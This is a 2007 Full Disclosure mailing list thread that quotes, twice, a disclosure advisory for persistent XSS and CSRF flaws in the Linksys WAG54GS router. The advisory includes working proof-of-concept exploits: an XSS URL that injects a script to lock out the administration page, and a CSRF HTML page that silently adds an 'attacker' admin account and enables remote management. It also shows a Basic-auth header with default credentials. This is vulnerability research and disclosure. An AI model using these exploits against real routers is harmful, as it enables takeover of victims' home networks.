Full Disclosure mailing list archives
Re: Persistent XSS and CSRF on network appliance [subject corrected :) ]
From: "Dr. Neal Krawetz PhD" <neal () krawetz org>
Date: Thu, 28 Jun 2007 00:01:56 +0200
We heard you the first time, gobbles aka n3td3v. - doc neal http://www.hackerfactor.com/blog/ On Wed, Jun 27, 2007 at 10:49:25PM +0100, pagvac wrote:
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Nice look up to http://unknown.pentester.googlepages.com/sitemap.xml If you bothered that much you deserve the advisory I guess :-D. btw, I didn't know google pages have sitemap.xml enabled by default. So no hash cracking here, just to set things straight. Joey Mengele wrote:After plugging this hash into John The Ripper, I was able to reproduce the text of the original advisory. It follows in entirety. For those wishing to verify the hash provided by the architect, I have also included the advisory in attachment form as a convenience for the skeptics who say MD5 can not be reversed. J ___ BEGIN LAME CRACKED ADVISORY ___ Persistent XSS and CSRF and on Wireless-G ADSL Gateway with SpeedBooster (WAG54GS) == Date found == 24 June 2007 == Firmware Version == V1.00.06 == Description == There are several persistent XSS vulnerabilities on the '/setup.cgi' script. It is possible to inject JavaScript by assigning a payload like the following to any of the vulnerable parameters:<script>[PAYLOAD]</script>The vulnerable (non-sanitized) parameters are the following: 'devname' 'snmp_getcomm' 'snmp_setcomm' 'c4_trap_ip_' Additionally, all HTTP requests are not tokenized using non- predictable values. Thus, all requests to the router's HTTP interface are vulnerable to Cross-site Request Forgeries (CSRF), perhaps by design. The following is an example of a HTTP request (notice the lack of non-predictable tokens): POST /setup.cgi HTTP/1.1 Authorization: Basic YWRtaW46YWRtaW4= mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file =Factorydefaults.htm&next_file=index.htm&message= Although the original request is a POST, we can convert it to a GET, so that all posted parameters can be submitted on a single URL. For example, the previous POST request can be converted to a URL such as the following: http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factor y+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_f ile=index.htm&message= By forging administrative requests ("Administration" button on the router's HTML menu), an attacker can compromise the router provided the victim user visits a malicious URL or HTML page. The attack can only be successfuly if any of the following conditions are met: - the administrator hasn't changed the default credentials (admin/admin) - the administrator's browser has an active authentication session with the router's interface when the attack happens (highly unlikely) == Persistent XSS PoC == The following URL creates a DoS condition by making the "Administration" page inaccessible since 'history.back()' will run everytime the Administration page is visited. Thus the administrator won't be able to ever change the default credentials unless a hard reset is performed on using the router's physical "restart" switch: http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin& sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http _wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_e nable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged= yes&h_remote_management=enable&c4_trap_ip_="><script>history.back()< /script>&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=ena ble&todo=save&this_file=Administration.htm&next_file=Administration. htm&message= http://tinyurl.com/36sjzw == CSRF PoC == The following HTML page does the following: - adds an *additional* administrative account, with a username equals to 'attacker' and a password equals to '0wned' (without removing original admin account!) - enables remote HTTP management over port 1337 - sets other settings that are inrelevant to this discussion <html> <body> <script> // send 2 requests to add an administrative account and enable remote management // tries with default credentials and with credentials cached by browser (if any) var img = new Image(); var img2 = new Image(); img.src = 'http://admin:admin@192.168.1.1/setup.cgi?user_list=8&sysname=attack er&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&h ttp_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wla n_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchang ed=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable &h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Admin istration.htm&next_file=Administration.htm&message='; img2.src = 'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd =0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport= 1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=ena ble&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_rem ote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enab le=enable&h_wlan_enable=enable&todo=save&this_file=Administration.ht m&next_file=Administration.htm&message='; </script> </body> </html> The first URL forges the administrative request using the default credentials, so it won't work if default credentials have been changed. The second URL doesn't specify any credentials as an attempt to use the browser's cached credentials. If the admin user has clicked on "Save password" on the basic authentication prompt, most browsers will prompt the user to confirm submitting the cached credentials. The only situation in which browsers won't ask the user to confirm submitting the credentials would be if the malicious CSRF page was visited while the browser has an active authenticated session with the router's HTTP interface (very unlikely). == Additional notes == - router reboots after saving settings (requests sent to 'setup.cgi') - all attacks were tested using Internet Explorer 7 - No firmware updates were available at time of testing, only GPL code is available: http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagen ame=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisito rWrapper&lid=8904040638B02&displaypage=download#versiondetail == References == http://www.linksys.com/ == Credits == pagvac [ikwt.com] and Petko Petkov [gnucitizen.org] ___ END LAME CRACKED ADVISORY ___ On Wed, 27 Jun 2007 16:29:43 -0400 pagvac <unknown.pentester () gmail com> wrote:The file "research.txt" will be provided once the vendor fixes the issues. At that point anyone can check that the hash matches the one included in this post. Thank you. Joey Mengele wrote:Please provide the original content of research.txt so I canverifythat the hash is correct. I will also need the hash of your md5sum.exe. Thanks. J On Wed, 27 Jun 2007 16:02:16 -0400 pagvac <unknown.pentester () gmail com> wrote:The HTTP interface of a network appliance has been researchedandfound to be vulnerable to several persistent XSS and CSRF. Such research was done by pdp (architect) and myself. Weinformedthe vendor and will publish the details when a fix is available. The following is the MD5 hash for the advisory file. $ md5sum.exe research.txt 3db1d71fc3a0eae119617b3b1124206f *research.txt Regards, -- pagvac [http://gnucitizen.org, http://ikwt.com/]-- Click here for to find products that will help grow your smallbusiness. http://tagline.hushmail.com/fc/Ioyw6h4eDJc9UN71zvlsGp4ZGBzvqUZDr59L zooSm6N56gZuYA97Kt/-- pagvac [http://gnucitizen.org, http://ikwt.com/]-- Click to make millions by owning your own franchise http://tagline.hushmail.com/fc/Ioyw6h4eB8rDoXd3rzWGRyuLVrO8wOmiWFoFiDB4VYIwImlRd0K9S9/ ---------------------------------------------------------------------- Persistent XSS and CSRF and on Wireless-G ADSL Gateway withSpeedBooster (WAG54GS)== Date found == 24 June 2007 == Firmware Version == V1.00.06 == Description == There are several persistent XSS vulnerabilities on the '/setup.cgi'script.It is possible to inject JavaScript by assigning a payload like thefollowingto any of the vulnerable parameters:<script>[PAYLOAD]</script>The vulnerable (non-sanitized) parameters are the following: 'devname' 'snmp_getcomm' 'snmp_setcomm' 'c4_trap_ip_' Additionally, all HTTP requests are not tokenized using non-predictablevalues.Thus, all requests to the router's HTTP interface are vulnerable toCross-siteRequest Forgeries (CSRF), perhaps by design. The following is an example of a HTTP request (notice the lack ofnon-predictable tokens):POST /setup.cgi HTTP/1.1 Authorization: Basic YWRtaW46YWRtaW4=mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=Although the original request is a POST, we can convert it to a GET, sothat all posted parameters can be submitted on a single URL.For example, the previous POST request can be converted to a URL suchas the following:http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=By forging administrative requests ("Administration" button on therouter's HTML menu), an attacker can compromise the router provided thevictim user visits a malicious URL or HTML page. The attack can only be successfuly if any of the following conditionsare met:- the administrator hasn't changed the default credentials (admin/admin) - the administrator's browser has an active authentication session withthe router's interface when the attack happens(highly unlikely) == Persistent XSS PoC == The following URL creates a DoS condition by making the"Administration" page inaccessible since 'history.back()'will run everytime the Administration page is visited. Thus theadministrator won't be able to ever change thedefault credentials unless a hard reset is performed on using therouter's physical "restart" switch:http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin&sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_="><script>history.back()</script>&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=http://tinyurl.com/36sjzw == CSRF PoC == The following HTML page does the following: - adds an *additional* administrative account, with a username equalsto 'attacker' and a password equals to '0wned' (without removing original admin account!)- enables remote HTTP management over port 1337 - sets other settings that are inrelevant to this discussion <html> <body> <script> // send 2 requests to add an administrative account and enableremote management// tries with default credentials and with credentials cachedby browser (if any)var img = new Image(); var img2 = new Image(); img.src ='http://admin:admin@192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=';img2.src ='http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=';</script> </body> </html> The first URL forges the administrative request using the defaultcredentials, so it won't work if default credentialshave been changed. The second URL doesn't specify any credentials as an attempt to use thebrowser's cached credentials.If the admin user has clicked on "Save password" on the basicauthentication prompt, most browsers willprompt the user to confirm submitting the cached credentials. The onlysituation in which browsers won'task the user to confirm submitting the credentials would be if themalicious CSRF page was visited whilethe browser has an active authenticated session with the router's HTTPinterface (very unlikely).== Additional notes == - router reboots after saving settings (requests sent to 'setup.cgi') - all attacks were tested using Internet Explorer 7 - No firmware updates were available at time of testing, only GPL codeis available:http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagename=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisitorWrapper&lid=8904040638B02&displaypage=download#versiondetail == References == http://www.linksys.com/ == Credits == pagvac [ikwt.com] and Petko Petkov [gnucitizen.org]- -- pagvac [http://gnucitizen.org, http://ikwt.com/] -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (MingW32) iD8DBQFGgttjjXB4hX6OC/cRAjPBAKCHfyKTxufqkA3umJivYkePZr2IxQCfaIPd /NTsZfC0sSYvWezySDRmtZY= =2L6c -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: Persistent XSS and CSRF on network appliance [subject corrected :) ] Joey Mengele (Jun 27)
- <Possible follow-ups>
- Re: Persistent XSS and CSRF on network appliance [subject corrected :) ] Joey Mengele (Jun 27)
- Re: Persistent XSS and CSRF on network appliance [subject corrected :) ] Joey Mengele (Jun 27)
- Re: Persistent XSS and CSRF on network appliance [subject corrected :) ] pagvac (Jun 27)
- Re: Persistent XSS and CSRF on network appliance [subject corrected :) ] pagvac (Jun 27)
- Re: Persistent XSS and CSRF on network appliance [subject corrected :) ] Dr. Neal Krawetz PhD (Jun 27)
- Message not available
- Re: Persistent XSS and CSRF on network appliance [subject corrected :) ] Dr. Neal Krawetz PhD (Jun 27)
- Re: Persistent XSS and CSRF on network appliance [subject corrected :) ] coderman (Jun 27)